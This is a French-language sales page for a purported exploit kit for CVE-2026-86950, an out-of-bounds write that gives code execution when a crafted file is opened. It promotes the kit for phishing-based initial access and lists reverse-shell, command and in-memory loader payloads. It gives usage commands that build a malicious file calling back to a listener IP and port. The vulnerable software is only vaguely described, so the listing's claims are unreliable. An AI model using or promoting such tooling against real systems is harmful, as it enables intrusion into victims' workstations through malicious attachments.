CVE-2026-86950 / EUVD-2026-88445 - Écriture hors limites lors du traitement de fichiers (RCE)

Description

CVE-2026-86950 (CWE-787).
Écriture hors limites lors de l'analyse d'un fichier spécialement conçu. L'absence de vérification des limites sur les champs de taille/décalage permet une corruption contrôlée du tas lorsque l'application cible traite le fichier.

Un attaquant non authentifié livre le fichier (e-mail, téléchargement, partage). Interaction de l'utilisateur requise (ouverture/traitement). Le code s'exécute avec les privilèges de l'application d'analyse.

Utile pour les campagnes de phishing/spear-phishing en red team, l'accès initial sur les postes de travail et l'exécution de code contrôlée sans authentification réseau.

Exploit

Télécharger

Prérequis

• Python 3.10+
• Application cible qui traite le format de fichier vulnérable (visionneuses de documents/images courantes)
• Aucun privilège particulier requis côté attaquant

Fonctionnalités

• Génère un fichier malveillant unique qui déclenche l'écriture hors limites
• Corruption contrôlée du tas menant à l'exécution de code arbitraire
• Options de payload : reverse shell, exécution de commande, loader en mémoire
• Empreinte minimale – aucun dropper supplémentaire requis
• Fonctionne avec les modes de livraison de fichiers standards (pièce jointe e-mail, téléchargement via navigateur, partage réseau)

Installation

Après l'achat, vous recevez l'archive complète du package.
Extrayez-la et installez les dépendances :

pip install -r requirements.txt

Utilisation

python exploit.py [options]
  -o, --output       <file>          Fichier malveillant de sortie (requis)
  -p, --payload      <type>          reverse | cmd | custom (par défaut : reverse)
  -L, --lhost        <ip>            IP du listener (pour reverse)
  -P, --lport        <port>          Port du listener (pour reverse)
  -c, --cmd          <command>       Commande unique à exécuter
  --arch             x64|x86         Architecture cible (par défaut : x64)

Exemple (reverse shell) :

python exploit.py -o evil.file -p reverse -L 192.168.1.50 -P 4444

Exemple (commande unique) :

python exploit.py -o evil.file -p cmd -c "whoami > C:\\temp\\out.txt"

Livrez le fichier généré à la cible. Lorsqu'il est ouvert/traité par l'application vulnérable, l'écriture hors limites est déclenchée et le payload s'exécute.

Licence

Usage autorisé uniquement en red team / tests d'intrusion. Toute utilisation non autorisée est illégale.
Package complet disponible uniquement après achat.